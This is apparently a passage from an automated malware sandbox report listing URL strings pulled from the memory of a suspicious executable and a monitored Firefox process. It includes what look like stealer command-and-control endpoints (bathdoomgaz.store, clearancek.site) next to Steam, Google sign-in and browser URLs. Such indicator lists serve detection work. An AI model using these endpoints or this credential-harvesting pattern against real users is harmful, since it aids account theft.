Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agre
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96961E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C96946F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96967B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C96941D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2129414948.000001C9633E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96349E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96965D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F251000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2126645860.000001C962BF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2156687679.000001C967303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96349E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderQuick
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001D.00000002.2303891585.000001C96F739000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 0000001D.00000002.2300171636.000001C96F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C967798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C96944B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2192132128.000001C96875C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C9679BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2229257788.000001C968F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001D.00000002.2122168164.000001C957211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api?
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/p
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1432143495.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432027531.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431960048.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2000505983.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999933119.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1999766208.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii
Source: file.exe, 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.c
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloF
Source: file.exe, 00000000.00000003.1459148229.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1477555129.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1446807409.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steams
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public.
Source: file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/communitp
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/prof(s
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1417736971.0000000001172000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
